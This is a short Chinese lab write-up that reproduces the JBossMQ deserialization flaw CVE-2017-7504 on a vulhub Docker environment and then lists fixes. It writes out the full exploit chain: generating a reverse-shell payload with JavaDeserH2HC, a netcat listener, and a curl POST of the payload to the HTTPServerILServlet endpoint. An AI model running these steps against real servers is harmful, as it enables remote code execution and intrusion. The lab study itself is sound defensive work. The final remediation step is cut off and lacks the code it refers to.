CVE-2017-7504-JBossMQ-JMS-Deserialization
forg12

描述

​ Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本

Jboss AS =< 4.x

环境搭建

使用vulhub搭建漏洞环境

1
2
3
4
#进入漏洞目录
cd vulhub/jboss/CVE-2017-7504
#开启环境
docker-compose up -d

image-20221019134909214

查看环境

1
http://192.168.2.107:8080/

image-20221019191220379

复现过程

利用工具下载地址:

1
https://github.com/joaomatosf/JavaDeserH2HC

通过一下命令可生成一个ser后缀的文件。

1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.109:2233

image-20221019191256097

image-20221019191323168

kali监听2233端口

1
nc -lvvp 2233

执行exp

1
curl http://192.168.2.107:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20221019191421438

image-20221019194322413

image-20221019191409663

修复建议

1、升级到JBOSS AS7。

2、临时解决方案:

(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。

(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。